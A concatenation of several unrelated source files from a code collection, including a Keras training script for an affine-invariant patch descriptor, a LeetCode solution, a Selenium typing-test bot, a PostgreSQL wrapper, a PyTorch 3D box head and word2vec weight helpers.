acc = np.sum( self.model.get_layer("sim").predict([emb_1,emb_2]) )/np.shape(self.acc_data_Pa[i])[0]
elif sim_type=='diff':
acc = np.sum( self.model.get_layer("sim").predict([emb_1-emb_2]) )/np.shape(self.acc_data_Pa[i])[0]
RealAccPos.append( acc )
my_dict.update({self.acc_test_holder[i]: acc})
thisacc = np.mean(np.array(RealAccPos))
if (acc_pos+acc_neg) > self.lastacc:
self.lastacc = acc_pos+acc_neg
self.model.save(self.log_dir+"/model.ckpt.max_acc.hdf5")
my_dict.update({self.global_acc_holder: thisacc})
summary = self.session.run(self.merged,
feed_dict=my_dict)
self.writer.add_summary(summary, epoch)
self.writer.flush()
def on_epoch_end_cb(self):
return LambdaCallback(on_epoch_end=lambda epoch, logs:
self.on_epoch_end(epoch, logs))
from datetime import datetime
ts = datetime.now().strftime("%d-%m-%Y_%H:%M:%S")
log_path = "./summaries/" + MODEL_NAME + "_" + NORM + "_-_" + str(DegMax) + "deg_-_" + ts
tensorboard = TensorBoard(log_dir=log_path,
write_graph=True, #This eats a lot of space. Enable with caution!
#histogram_freq = 1,
write_images=True,
batch_size = 1,
write_grads=True)
reduce_lr = ReduceLROnPlateau(monitor='val_loss', factor=0.1, patience=25, verbose=1, mode='auto', cooldown=0, min_lr=0)
import keras
train_model.compile(loss=None, optimizer=keras.optimizers.Adam(lr=0.00001))
# loss_model_saver = ModelCheckpoint(log_path + "/model.ckpt.min_loss.{epoch:04d}-{loss:.6f}.hdf5", monitor='loss', period=1, save_best_only=True)
loss_model_saver = ModelCheckpoint(log_path + "/model.ckpt.min_loss.hdf5", monitor='loss', mode='min', period=1, save_best_only=True)
val_model_saver = ModelCheckpoint(log_path + "/model.ckpt.min_val_loss.hdf5", monitor='val_loss', mode='min', period=1, save_best_only=True)
#load_metadata_from_facescrub('facescrub_db')
tboardkeras = TensorboardKeras(model=train_model, log_dir=log_path, GAval = GAval, GAtrain = GAtrain)
#on_epoch_begin or on_epoch_end
miscallbacks = [LambdaCallback(on_epoch_begin=lambda epoch, logs: tboardkeras.on_epoch_begin(epoch, logs),
on_epoch_end=lambda epoch, logs: tboardkeras.on_epoch_end(epoch, logs)),
tensorboard, TerminateOnNaN(), val_model_saver, loss_model_saver]#, reduce_lr]
Set_FirstThreadTouch(GAval,False)
Set_FirstThreadTouch(GAtrain,False)
if Debug:
train_model.fit_generator(generator=affine_generator(GA=GAtrain,batch_num=2,ForceFast=True),
validation_data=affine_generator(GA=GAval,batch_num=2,ForceFast=True), validation_steps=1,
epochs=3, steps_per_epoch=2, callbacks = miscallbacks)
else:
if Parallel:
train_model.fit_generator(generator=affine_generator(GA=GAtrain,batch_num=batch_number,Force2Gen=True),
validation_data=affine_generator(GA=GAval,batch_num=batch_number,Force2Gen=True), validation_steps=steps_epoch,
epochs=N_epochs, steps_per_epoch=steps_epoch, callbacks = miscallbacks,
max_queue_size=10,
workers=8, use_multiprocessing=True)
else:
train_model.fit_generator(generator=affine_generator(GA=GAtrain,batch_num=batch_number,ForceFast=True),
validation_data=affine_generator(GA=GAval,batch_num=batch_number,ForceFast=True), validation_steps=np.int32(steps_epoch/2),
epochs=N_epochs, steps_per_epoch=steps_epoch, callbacks = miscallbacks)
| MODEL_NAME = 'AID_simCos_BigDesc_dropout'
DegMax = 60
Debug = True
Parallel = False
ConstrastSimu = True # if True it randomly simulates contrast changes for each patch
DoBigEpochs = True
batch_number = 32
N_epochs = 5000
steps_epoch=100
NeededData = batch_number * N_epochs * steps_epoch + 1
SHOW_TB_weights = False # Show Net-weights info in TensorBoard
if MODEL_NAME[0:10]=="AID_simCos":
TripleLoss = True
NORM = 'hinge'
else:
TripleLoss = False
NORM = 'cross-entropy'
# When default GPU is being used... prepare to use a second one
# import os
# os.environ["CUDA_DEVICE_ORDER"]="PCI_BUS_ID" # see issue #152
# os.environ["CUDA_VISIBLE_DEVICES"]="0"
from library import *
from acc_test_library import *
import numpy as np
import time
import random
import cv2
def ProcessData(GA, stacked_patches, groundtruth_pts):
if ConstrastSimu:
channels = np.int32(np.shape(stacked_patches)[2]/2)
val1 = random.uniform(1/3, 3)
val2 = random.uniform(1/3, 3)
for i in range(channels):
stacked_patches[:,:,i] = np.power(stacked_patches[:,:,i],val1)
stacked_patches[:,:,channels+i] = np.power(stacked_patches[:,:,channels+i],val2)
return stacked_patches, groundtruth_pts #if ConstrastSimu==False -> Identity
GAval = GenAffine("./imgs-val/", save_path = "./db-gen-val-"+str(DegMax)+"/", DoBigEpochs = DoBigEpochs, tmax = DegMax)
GAtrain = GenAffine("./imgs-train/", save_path = "./db-gen-train-"+str(DegMax)+"/", DoBigEpochs = DoBigEpochs, tmax = DegMax)
Set_FirstThreadTouch(GAval,False)
Set_FirstThreadTouch(GAtrain,False)
stacked_patches, groundtruth_pts = GAtrain.gen_affine_patches()
stacked_patches, groundtruth_pts = ProcessData(GAtrain, stacked_patches, groundtruth_pts)
def affine_generator(GA, batch_num=32, Force2Gen=False, ForceFast=False):
P_list = []
GT_list = []
FastThread = False
t2sleep = 2*random.random()
time.sleep(t2sleep)
assert Force2Gen==False or ForceFast==False
if ForceFast:
FastThread = True
if Force2Gen==False and Check_FirstThreadTouch(GA)==False:
print("Fast Thread Created ! Needs "+str(NeededData)+" generated data")
Set_FirstThreadTouch(GA,True)
FastThread = True
while True:
if FastThread and ForceFast==False:
GA.ScatteredGenData_2_BlockData() # it will be really done every 30 minutes
stacked_patches, groundtruth_pts = [], []
if FastThread and Force2Gen==False:
stacked_patches, groundtruth_pts = GA.Fast_gen_affine_patches()
else:
stacked_patches, groundtruth_pts = GA.gen_affine_patches()
stacked_patches, groundtruth_pts = ProcessData(GA, stacked_patches, groundtruth_pts)
Pa = stacked_patches[:,:,0]
Pp = stacked_patches[:,:,1]
if FastThread and Force2Gen==False:
stacked_patches, groundtruth_pts = GA.Fast_gen_affine_patches()
else:
stacked_patches, groundtruth_pts = GA.gen_affine_patches()
stacked_patches, groundtruth_pts = ProcessData(GA, stacked_patches, groundtruth_pts)
Pn = stacked_patches[:,:,0]
vgg_input_shape = np.shape(Pa)
vgg_output_shape = np.shape([1])
bPshape = tuple([batch_num]) + tuple(vgg_input_shape) + tuple([1])
bGTshape = tuple([batch_num]) + tuple(vgg_output_shape)
bP1 = np.zeros(shape=bPshape)
bP2 = np.zeros(shape=bPshape)
bP3 = np.zeros(shape=bPshape)
bGT = np.zeros(shape=bGTshape, dtype = np.float32)
if NORM=='hinge':
bP1[0,:,:,0] = Pa
bP2[0,:,:,0] = Pp
bP3[0,:,:,0] = Pn
else:
bP1[0,:,:,0] = Pa
bP2[0,:,:,0] = Pp
bGT[0,0] = 1.0
for i in range(1,batch_num):
if FastThread and Force2Gen==False:
stacked_patches, groundtruth_pts = GA.Fast_gen_affine_patches()
else:
stacked_patches, groundtruth_pts = GA.gen_affine_patches()
stacked_patches, groundtruth_pts = ProcessData(GA, stacked_patches, groundtruth_pts)
Pa = stacked_patches[:,:,0]
Pp = stacked_patches[:,:,1]
if FastThread and Force2Gen==False:
stacked_patches, groundtruth_pts = GA.Fast_gen_affine_patches()
else:
stacked_patches, groundtruth_pts = GA.gen_affine_patches()
stacked_patches, groundtruth_pts = ProcessData(GA, stacked_patches, groundtruth_pts)
Pn = stacked_patches[:,:,0]
if NORM=='hinge':
bP1[i,:,:,0] = Pa
bP2[i,:,:,0] = Pp
bP3[i,:,:,0] = Pn
else:
if random.randint(0,1)>0.5:
bP1[i,:,:,0] = Pa
bP2[i,:,:,0] = Pp
bGT[i,0] = 1.0
else:
bP1[i,:,:,0] = Pa
bP2[i,:,:,0] = Pn
bGT[i,0] = 0.0
# print('These numbers should not repeat in other lines: '+ str(bP[0,0,0,0])+" "+str(bP[-1,0,0,0]))
# print('Gen batch: '+str(np.shape(bP))+', '+str(np.shape(bGT)))
if NORM=='hinge':
yield [bP1, bP2, bP3], None
else:
yield [bP1, bP2, bGT], None
# VGG like network
from keras import layers
from keras.models import Model
import tensorflow as tf
from keras.backend.tensorflow_backend import set_session
config = tf.ConfigProto(allow_soft_placement=True)
#, device_count = {'CPU' : 1, 'GPU' : 1})
config.gpu_options.per_process_gpu_memory_fraction = 0.1
set_session(tf.Session(config=config))
from models import *
vgg_input_shape = np.shape(stacked_patches)[0:2] + tuple([1])
train_model, sim_type = create_model(vgg_input_shape, None, model_name = MODEL_NAME, Norm=NORM, resume = False)
# ---> TRAIN NETWORK
import math
import scipy.special
import random
from sklearn.manifold import TSNE, MDS
from sklearn.metrics import f1_score, accuracy_score
from keras.callbacks import TerminateOnNaN, ModelCheckpoint, TensorBoard, LambdaCallback, ReduceLROnPlateau
import os
from shutil import copyfile
import matplotlib.pyplot as plt
plt.switch_backend('agg')
#modified from http://seoulai.com/2018/02/06/keras-and-tensorboard.html
class TensorboardKeras(object):
def __init__(self, model, log_dir, GAval, GAtrain, static_val_num=500):
self.model = model
self.log_dir = log_dir
self.session = K.get_session()
self.lastloss = float('nan')
self.lastvalloss = float('nan')
self.GAval = GAval
self.GAtrain = GAtrain
self.static_val_num = static_val_num
self.acc_data_Pa = []
self.acc_data_Pp = []
self.acc_data_names = []
self.lastacc = 0
self.TKid = random.randint(0,1000)
self.P1_pos, self.P2_pos, self.P1_neg, self.P2_neg = [], [], [], []
self.acc_TP_ph = tf.placeholder(shape=(), dtype=tf.float32)
tf.summary.scalar('accuracy/TruePositives', self.acc_TP_ph)
self.acc_TN_ph = tf.placeholder(shape=(), dtype=tf.float32)
tf.summary.scalar('accuracy/TrueNegatives', self.acc_TN_ph)
self.lr_ph = tf.placeholder(shape=(), dtype=tf.float32)
tf.summary.scalar('Learning_rate', self.lr_ph)
self.big_epoch = tf.placeholder(shape=(), dtype=tf.float32)
tf.summary.scalar('Big_Epoch', self.big_epoch)
self.val_loss_ph = tf.placeholder(shape=(), dtype=tf.float32)
tf.summary.scalar('losses/validation', self.val_loss_ph)
self.train_loss_ph = tf.placeholder(dtype=tf.float32)
tf.summary.scalar('losses/training', self.train_loss_ph)
# self.sift = cv2.xfeatures2d.SIFT_create( nfeatures = siftparams.nfeatures,
# nOctaveLayers = siftparams.nOctaveLayers, contrastThreshold = siftparams.contrastThreshold,
# edgeThreshold = siftparams.edgeThreshold, sigma = siftparams.sigma)
self.global_acc_holder = tf.placeholder(dtype=tf.float32)
tf.summary.scalar('accuracy/_GLOBAL_', self.global_acc_holder)
self.acc_test_holder = []
for file in glob.glob('./acc-test/*.txt'):
self.acc_data_names.append( os.path.basename(file)[:-4] )
i = len(self.acc_data_names) - 1
pathway = './acc-test/' + self.acc_data_names[i]
asift_KPlist1, patches1, GT_Avec_list, asift_KPlist2, patches2 = load_acc_test_data(pathway)
Pa = np.zeros(shape=tuple([len(patches1)])+tuple(np.shape(patches1)[1:])+tuple([1]),dtype=np.float32)
Pp = np.zeros(shape=tuple([len(patches1)])+tuple(np.shape(patches1)[1:])+tuple([1]),dtype=np.float32)
for k in range(0,len(patches1)):
Pa[k,:,:,0] = patches1[k][:,:]/self.GAval.imgdivfactor
Pp[k,:,:,0] = patches2[k][:,:]/self.GAval.imgdivfactor
self.acc_data_Pa.append( Pa )
self.acc_data_Pp.append( Pp )
self.acc_test_holder.append(tf.placeholder(dtype=tf.float32))
tf.summary.scalar('accuracy/'+self.acc_data_names[i], self.acc_test_holder[i])
if SHOW_TB_weights:
l = np.shape(self.model.get_layer("aff_desc").get_weights())[0]
self.weightsholder = []
for i in range(0,l):
self.weightsholder.append(tf.placeholder(dtype=tf.float32))
self.variable_summaries(self.weightsholder[i], 'weights/'+repr(i).zfill(3)+'-layer')
self.merged = tf.summary.merge_all()
self.writer = tf.summary.FileWriter(self.log_dir)
copyfile(os.path.realpath(__file__), self.log_dir+"/"+os.path.basename(__file__))
def variable_summaries(self,var,name):
"""Attach a lot of summaries to a Tensor (for TensorBoard visualization)."""
with tf.name_scope(name):
mean = tf.reduce_mean(var)
tf.summary.scalar('mean', mean)
tf.summary.scalar('max', tf.reduce_max(var))
tf.summary.scalar('min', tf.reduce_min(var))
tf.summary.histogram('histogram', var)
stddev = tf.sqrt(tf.reduce_mean(tf.square(var - mean)))
tf.summary.scalar('stddev', stddev)
def _get_lr(self):
return K.eval(self.model.optimizer.lr)
def _get_weights(self,wpos):
return self.model.get_layer("aff_desc").get_weights()[wpos]
def on_epoch_end(self, epoch, logs):
self.lastloss = np.ravel(logs['loss'])[0]
self.lastvalloss = np.ravel(logs['val_loss'])[0]
def on_epoch_begin(self, epoch, logs):
for d in affine_generator(self.GAval, batch_num=self.static_val_num, ForceFast=True):
if TripleLoss: #
self.P1_pos = d[0][0]
self.P2_pos = d[0][1]
self.P1_neg = d[0][0]
self.P2_neg = d[0][2]
else:
lpos, lneg = 0, 0
for i in range(0,len(d[0][2])):
if d[0][2][i]>0.5:
lpos +=1
else:
lneg +=1
self.P1_pos = np.zeros(shape=tuple([lpos])+tuple(np.shape(d[0][0])[1:]), dtype=np.float32)
self.P2_pos = np.zeros(shape=tuple([lpos])+tuple(np.shape(d[0][0])[1:]), dtype=np.float32)
self.P1_neg = np.zeros(shape=tuple([lneg])+tuple(np.shape(d[0][0])[1:]), dtype=np.float32)
self.P2_neg = np.zeros(shape=tuple([lneg])+tuple(np.shape(d[0][0])[1:]), dtype=np.float32)
i_p, i_n = 0, 0
for i in range(0,len(d[0][2])):
if d[0][2][i]>0.5:
self.P1_pos[i_p,:,:,:] = d[0][0][i,:,:,:]
self.P2_pos[i_p,:,:,:] = d[0][1][i,:,:,:]
i_p += 1
else:
self.P1_neg[i_n,:,:,:] = d[0][0][i,:,:,:]
self.P2_neg[i_n,:,:,:] = d[0][1][i,:,:,:]
i_n += 1
break
emb_1_pos = self.model.get_layer("aff_desc").predict(self.P1_pos)
emb_2_pos = self.model.get_layer("aff_desc").predict(self.P2_pos)
emb_1_neg = self.model.get_layer("aff_desc").predict(self.P1_neg)
emb_2_neg = self.model.get_layer("aff_desc").predict(self.P2_neg)
if sim_type=='inlist':
acc_pos = np.sum( self.model.get_layer("sim").predict([emb_1_pos, emb_2_pos]) )/np.shape(emb_1_pos)[0]
acc_neg = np.sum( 1 - self.model.get_layer("sim").predict([emb_1_neg,emb_2_neg]) )/np.shape(emb_1_neg)[0]
elif sim_type=='diff':
acc_pos = np.sum( self.model.get_layer("sim").predict([emb_1_pos-emb_2_pos]) )/np.shape(emb_1_pos)[0]
acc_neg = np.sum( 1 - self.model.get_layer("sim").predict([emb_1_neg-emb_2_neg]) )/np.shape(emb_1_neg)[0]
elif sim_type=='concat':
acc_pos = np.sum( self.model.get_layer("sim").predict(np.concatenate((emb_1_pos,emb_2_pos),axis=-1)) )/np.shape(emb_1_pos)[0]
acc_neg = np.sum( 1 - self.model.get_layer("sim").predict(np.concatenate((emb_1_neg,emb_2_neg),axis=-1)) )/np.shape(emb_1_neg)[0]
my_dict = {
self.lr_ph: self._get_lr(),
self.acc_TP_ph: acc_pos,
self.acc_TN_ph: acc_neg,
self.val_loss_ph: self.lastvalloss,
self.big_epoch: get_big_epoch_number(self.GAtrain),
self.train_loss_ph: self.lastloss,
}
if SHOW_TB_weights:
l = np.shape(self.model.get_layer("aff_desc").get_weights())[0]
for i in range(0,l):
my_dict.update({self.weightsholder[i]: self._get_weights(i)})
RealAccPos = []
acc = 0.0
for i in range(0,len(self.acc_data_Pa)):
emb_1 = self.model.get_layer("aff_desc").predict(self.acc_data_Pa[i])
emb_2 = self.model.get_layer("aff_desc").predict(self.acc_data_Pp[i])
if sim_type=='inlist':
acc = np.sum( self.model.get_layer("sim").predict([emb_1,emb_2]) )/np.shape(self.acc_data_Pa[i])[0]
elif sim_type=='diff':
acc = np.sum( self.model.get_layer("sim").predict([emb_1-emb_2]) )/np.shape(self.acc_data_Pa[i])[0]
RealAccPos.append( acc )
my_dict.update({self.acc_test_holder[i]: acc})
thisacc = np.mean(np.array(RealAccPos))
if (acc_pos+acc_neg) > self.lastacc:
self.lastacc = acc_pos+acc_neg
self.model.save(self.log_dir+"/model.ckpt.max_acc.hdf5")
my_dict.update({self.global_acc_holder: thisacc})
summary = self.session.run(self.merged,
feed_dict=my_dict)
self.writer.add_summary(summary, epoch)
self.writer.flush()
def on_epoch_end_cb(self):
return LambdaCallback(on_epoch_end=lambda epoch, logs:
self.on_epoch_end(epoch, logs))
from datetime import datetime
ts = datetime.now().strftime("%d-%m-%Y_%H:%M:%S")
log_path = "./summaries/" + MODEL_NAME + "_" + NORM + "_-_" + str(DegMax) + "deg_-_" + ts
tensorboard = TensorBoard(log_dir=log_path,
write_graph=True, #This eats a lot of space. Enable with caution!
#histogram_freq = 1,
write_images=True,
batch_size = 1,
write_grads=True)
reduce_lr = ReduceLROnPlateau(monitor='val_loss', factor=0.1, patience=25, verbose=1, mode='auto', cooldown=0, min_lr=0)
import keras
train_model.compile(loss=None, optimizer=keras.optimizers.Adam(lr=0.00001))
# loss_model_saver = ModelCheckpoint(log_path + "/model.ckpt.min_loss.{epoch:04d}-{loss:.6f}.hdf5", monitor='loss', period=1, save_best_only=True)
loss_model_saver = ModelCheckpoint(log_path + "/model.ckpt.min_loss.hdf5", monitor='loss', mode='min', period=1, save_best_only=True)
val_model_saver = ModelCheckpoint(log_path + "/model.ckpt.min_val_loss.hdf5", monitor='val_loss', mode='min', period=1, save_best_only=True)
#load_metadata_from_facescrub('facescrub_db')
tboardkeras = TensorboardKeras(model=train_model, log_dir=log_path, GAval = GAval, GAtrain = GAtrain)
#on_epoch_begin or on_epoch_end
miscallbacks = [LambdaCallback(on_epoch_begin=lambda epoch, logs: tboardkeras.on_epoch_begin(epoch, logs),
on_epoch_end=lambda epoch, logs: tboardkeras.on_epoch_end(epoch, logs)),
tensorboard, TerminateOnNaN(), val_model_saver, loss_model_saver]#, reduce_lr]
Set_FirstThreadTouch(GAval,False)
Set_FirstThreadTouch(GAtrain,False)
if Debug:
train_model.fit_generator(generator=affine_generator(GA=GAtrain,batch_num=2,ForceFast=True),
validation_data=affine_generator(GA=GAval,batch_num=2,ForceFast=True), validation_steps=1,
epochs=3, steps_per_epoch=2, callbacks = miscallbacks)
else:
if Parallel:
train_model.fit_generator(generator=affine_generator(GA=GAtrain,batch_num=batch_number,Force2Gen=True),
validation_data=affine_generator(GA=GAval,batch_num=batch_number,Force2Gen=True), validation_steps=steps_epoch,
epochs=N_epochs, steps_per_epoch=steps_epoch, callbacks = miscallbacks,
max_queue_size=10,
workers=8, use_multiprocessing=True)
else:
train_model.fit_generator(generator=affine_generator(GA=GAtrain,batch_num=batch_number,ForceFast=True),
validation_data=affine_generator(GA=GAval,batch_num=batch_number,ForceFast=True), validation_steps=np.int32(steps_epoch/2),
epochs=N_epochs, steps_per_epoch=steps_epoch, callbacks = miscallbacks)
| en | 0.445726 | # if True it randomly simulates contrast changes for each patch # Show Net-weights info in TensorBoard # When default GPU is being used... prepare to use a second one # import os # os.environ["CUDA_DEVICE_ORDER"]="PCI_BUS_ID" # see issue #152 # os.environ["CUDA_VISIBLE_DEVICES"]="0" #if ConstrastSimu==False -> Identity # it will be really done every 30 minutes # print('These numbers should not repeat in other lines: '+ str(bP[0,0,0,0])+" "+str(bP[-1,0,0,0])) # print('Gen batch: '+str(np.shape(bP))+', '+str(np.shape(bGT))) # VGG like network #, device_count = {'CPU' : 1, 'GPU' : 1}) # ---> TRAIN NETWORK #modified from http://seoulai.com/2018/02/06/keras-and-tensorboard.html # self.sift = cv2.xfeatures2d.SIFT_create( nfeatures = siftparams.nfeatures, # nOctaveLayers = siftparams.nOctaveLayers, contrastThreshold = siftparams.contrastThreshold, # edgeThreshold = siftparams.edgeThreshold, sigma = siftparams.sigma) Attach a lot of summaries to a Tensor (for TensorBoard visualization). # #This eats a lot of space. Enable with caution! #histogram_freq = 1, # loss_model_saver = ModelCheckpoint(log_path + "/model.ckpt.min_loss.{epoch:04d}-{loss:.6f}.hdf5", monitor='loss', period=1, save_best_only=True) #load_metadata_from_facescrub('facescrub_db') #on_epoch_begin or on_epoch_end #, reduce_lr] | 1.876808 | 2 |
Leetcode/Python/_1281.py | Xrenya/algorithms | 1 | 6616206 | <gh_stars>1-10
class Solution:
def subtractProductAndSum(self, n: int) -> int:
acc = 0
mult = 1
while n != 0:
num = n % 10
n //= 10
mult *= num
acc += num
return mult - acc
| class Solution:
def subtractProductAndSum(self, n: int) -> int:
acc = 0
mult = 1
while n != 0:
num = n % 10
n //= 10
mult *= num
acc += num
return mult - acc | none | 1 | 3.176813 | 3 | |
UnlimitedFingers.py | GianC-Dev/UnlimitedFingers | 0 | 6616207 | from selenium import webdriver
class Bot:
def __init__(self):
self.start()
def start(self):
web = webdriver.Chrome()
web.get("https://10fastfingers.com/typing-test/turkish")
for i in range(1, 292):
text = web.find_element_by_xpath('//*[@id="row1"]/span[' + str(i) + ']').text
inputt = web.find_element_by_xpath('//*[@id="inputfield"]')
inputt.send_keys(text + " ")
Bot()
| from selenium import webdriver
class Bot:
def __init__(self):
self.start()
def start(self):
web = webdriver.Chrome()
web.get("https://10fastfingers.com/typing-test/turkish")
for i in range(1, 292):
text = web.find_element_by_xpath('//*[@id="row1"]/span[' + str(i) + ']').text
inputt = web.find_element_by_xpath('//*[@id="inputfield"]')
inputt.send_keys(text + " ")
Bot()
| none | 1 | 3.087222 | 3 | |
keeper/keeper/backend/postgresql.py | SubminO/keeper | 1 | 6616208 | <reponame>SubminO/keeper
import psycopg2
from .. import error
class Postgresql:
def __init__(self, params):
self.host = params.dbshost
self.port = params.dbsport
self.user = params.dbsuser
self.password = <PASSWORD>
self.dbname = params.dbsdb
self._conn = None
self._cursor = None
@property
def cursor(self):
# todo проверка на готовность соединения
return self._cursor
def connect(self):
try:
self._conn = psycopg2.connect(dbname=self.dbname,
user=self.user,
password=<PASSWORD>,
host=self.host,
port=self.port)
self._cursor = self._conn.cursor()
except psycopg2.OperationalError as e:
raise error.KeeperBackendConnectionError
def desctroy(self):
self._cursor.close()
self._conn.close()
| import psycopg2
from .. import error
class Postgresql:
def __init__(self, params):
self.host = params.dbshost
self.port = params.dbsport
self.user = params.dbsuser
self.password = <PASSWORD>
self.dbname = params.dbsdb
self._conn = None
self._cursor = None
@property
def cursor(self):
# todo проверка на готовность соединения
return self._cursor
def connect(self):
try:
self._conn = psycopg2.connect(dbname=self.dbname,
user=self.user,
password=<PASSWORD>,
host=self.host,
port=self.port)
self._cursor = self._conn.cursor()
except psycopg2.OperationalError as e:
raise error.KeeperBackendConnectionError
def desctroy(self):
self._cursor.close()
self._conn.close() | ru | 0.957942 | # todo проверка на готовность соединения | 2.993058 | 3 |
acestream/ACEStream/Core/DecentralizedTracking/MagnetLink/__init__.py | GrandPaRPi/p2ptv-pi | 0 | 6616209 | <filename>acestream/ACEStream/Core/DecentralizedTracking/MagnetLink/__init__.py
#Embedded file name: ACEStream\Core\DecentralizedTracking\MagnetLink\__init__.pyo
EXTEND_MSG_METADATA = 'ut_metadata'
EXTEND_MSG_METADATA_ID = chr(224)
| <filename>acestream/ACEStream/Core/DecentralizedTracking/MagnetLink/__init__.py
#Embedded file name: ACEStream\Core\DecentralizedTracking\MagnetLink\__init__.pyo
EXTEND_MSG_METADATA = 'ut_metadata'
EXTEND_MSG_METADATA_ID = chr(224)
| en | 0.478075 | #Embedded file name: ACEStream\Core\DecentralizedTracking\MagnetLink\__init__.pyo | 1.074653 | 1 |
Bbox_3d/models/heads/boxhead.py | Twizwei/maskrcnn_detector | 1 | 6616210 | import torch
from torch import nn
__all__ = [
'BoxHead'
]
def fbr_layer(in_size, out_size, bias=False):
return nn.Sequential(
nn.Linear(in_size, out_size, bias=bias),
nn.BatchNorm1d(out_size),
nn.Dropout(inplace=True),
nn.ReLU(inplace=True)
)
class BoxHead(nn.Module):
def __init__(
self,
in_size=512*7*7,
num_bins=2,
dim_reg_hide_sizes=[512],
bin_conf_hide_sizes=[256],
bin_reg_hide_sizes=[256],
cos_sin_encode=False,
init_weights=True
):
super(BoxHead, self).__init__()
self.in_size = in_size
self.num_bins = num_bins
self.dim_reg_layers = self._make_fc_layers(dim_reg_hide_sizes, 3)
self.bin_conf_layers = self._make_fc_layers(bin_conf_hide_sizes, num_bins)
self.cos_sin_encode = cos_sin_encode
bin_reg_out_size = num_bins * 2 if self.cos_sin_encode else num_bins
self.bin_reg_layers = self._make_fc_layers(bin_reg_hide_sizes, bin_reg_out_size)
if init_weights:
self.init_weights()
def _make_fc_layers(self, hidden_sizes, out_size):
fc_layers = []
pre_size = self.in_size
for hidden_size in hidden_sizes:
fc_layers.append(fbr_layer(pre_size, hidden_size))
pre_size = hidden_size
fc_layers.append(nn.Linear(pre_size, out_size))
return nn.Sequential(*fc_layers)
def init_weights(self):
for m in self.modules():
if isinstance(m, nn.BatchNorm1d):
nn.init.constant_(m.weight, 1)
nn.init.constant_(m.bias, 0)
elif isinstance(m, nn.Linear):
nn.init.normal_(m.weight, 0, 0.01)
if m.bias is not None:
nn.init.constant_(m.bias, 0)
def forward(self, x):
"""
Input:
x: Tensor(N, self.in_size), flattened feature map
from backbone net
Return:
dim_reg: Tensor(N, 3), each row (dh, dw, dl)
bin_conf: Tensor(N, num_bins), bin confidence scores
bin_reg: Tensor(N, num_bins, 2),
each bin (cos_encode, sin_encode),
should be normalized for loss or
use torch.atan2 to get the real angle
"""
# forward to fc layers
dim_reg = self.dim_reg_layers(x)
bin_conf = self.bin_conf_layers(x)
bin_reg = self.bin_reg_layers(x)
if self.cos_sin_encode:
bin_reg = bin_reg.view(-1, self.num_bins, 2)
return dim_reg, bin_conf, bin_reg | import torch
from torch import nn
__all__ = [
'BoxHead'
]
def fbr_layer(in_size, out_size, bias=False):
return nn.Sequential(
nn.Linear(in_size, out_size, bias=bias),
nn.BatchNorm1d(out_size),
nn.Dropout(inplace=True),
nn.ReLU(inplace=True)
)
class BoxHead(nn.Module):
def __init__(
self,
in_size=512*7*7,
num_bins=2,
dim_reg_hide_sizes=[512],
bin_conf_hide_sizes=[256],
bin_reg_hide_sizes=[256],
cos_sin_encode=False,
init_weights=True
):
super(BoxHead, self).__init__()
self.in_size = in_size
self.num_bins = num_bins
self.dim_reg_layers = self._make_fc_layers(dim_reg_hide_sizes, 3)
self.bin_conf_layers = self._make_fc_layers(bin_conf_hide_sizes, num_bins)
self.cos_sin_encode = cos_sin_encode
bin_reg_out_size = num_bins * 2 if self.cos_sin_encode else num_bins
self.bin_reg_layers = self._make_fc_layers(bin_reg_hide_sizes, bin_reg_out_size)
if init_weights:
self.init_weights()
def _make_fc_layers(self, hidden_sizes, out_size):
fc_layers = []
pre_size = self.in_size
for hidden_size in hidden_sizes:
fc_layers.append(fbr_layer(pre_size, hidden_size))
pre_size = hidden_size
fc_layers.append(nn.Linear(pre_size, out_size))
return nn.Sequential(*fc_layers)
def init_weights(self):
for m in self.modules():
if isinstance(m, nn.BatchNorm1d):
nn.init.constant_(m.weight, 1)
nn.init.constant_(m.bias, 0)
elif isinstance(m, nn.Linear):
nn.init.normal_(m.weight, 0, 0.01)
if m.bias is not None:
nn.init.constant_(m.bias, 0)
def forward(self, x):
"""
Input:
x: Tensor(N, self.in_size), flattened feature map
from backbone net
Return:
dim_reg: Tensor(N, 3), each row (dh, dw, dl)
bin_conf: Tensor(N, num_bins), bin confidence scores
bin_reg: Tensor(N, num_bins, 2),
each bin (cos_encode, sin_encode),
should be normalized for loss or
use torch.atan2 to get the real angle
"""
# forward to fc layers
dim_reg = self.dim_reg_layers(x)
bin_conf = self.bin_conf_layers(x)
bin_reg = self.bin_reg_layers(x)
if self.cos_sin_encode:
bin_reg = bin_reg.view(-1, self.num_bins, 2)
return dim_reg, bin_conf, bin_reg | en | 0.624225 | Input: x: Tensor(N, self.in_size), flattened feature map from backbone net Return: dim_reg: Tensor(N, 3), each row (dh, dw, dl) bin_conf: Tensor(N, num_bins), bin confidence scores bin_reg: Tensor(N, num_bins, 2), each bin (cos_encode, sin_encode), should be normalized for loss or use torch.atan2 to get the real angle # forward to fc layers | 2.425206 | 2 |
word2vec_tf/utils/weights.py | mkserge/word2vec_tf | 1 | 6616211 | <reponame>mkserge/word2vec_tf
import logging
import numpy as np
import tensorflow as tf
def init_tf(vocab_size, args):
# Define the weights matrix going from input to the hidden layer
W1 = tf.Variable(tf.random_uniform([vocab_size + 1, args.emb_size], -0.5, 0.5), dtype=tf.float32, name='W1')
tf.summary.histogram('W1_Sum', W1)
W2 = tf.Variable(tf.truncated_normal([vocab_size - 1, args.emb_size],
stddev=1.0 / args.emb_size ** 0.5), dtype=tf.float32, name='W2')
tf.summary.histogram('W2_Sum', W2)
return W1, W2
def init(vocab_size, args):
W1 = np.random.uniform(low=-0.5, high=0.5, size=(vocab_size + 1, args.emb_size)) / args.emb_size
# Or alternatively, load the one generated by word2vec
if args.use_w2v_weights:
W1 = np.loadtxt(args.w2v_w1_file)
# Insert a row in front of W1, for the UNK symbol
W1 = np.insert(W1, 0, 0, axis=0)
# Insert a row in front of W1, for the PAD symbol
W1 = np.insert(W1, 0, 0, axis=0)
# Initialize the second matrix to zeros.
W2 = np.zeros((args.emb_size, vocab_size + 1), dtype=np.float32)
# First rows are for padding symbol and we don't learn embeddings for that.
W1[0, :] = 0
W2[:, 0] = 0
return W1, W2
def update(parameters, grads, learning_rate=1.2):
# Get the weights
W1 = parameters["W1"]
W2 = parameters["W2"]
# Get the gradients
dE_dW1 = grads["dE_dW1"]
dE_dW2 = grads["dE_dW2"]
W1 = W1 - learning_rate * dE_dW1
W2 = W2 - learning_rate * dE_dW2
parameters["W1"] = W1
parameters["W2"] = W2
return parameters
def save(parameters, args):
logger = logging.getLogger('main')
# Get the weights
W1 = parameters["W1"]
W2 = parameters["W2"]
logger.info('Saving embeddings on a disk.')
np.save(args.w1_file, W1)
np.save(args.w2_file, W2.T)
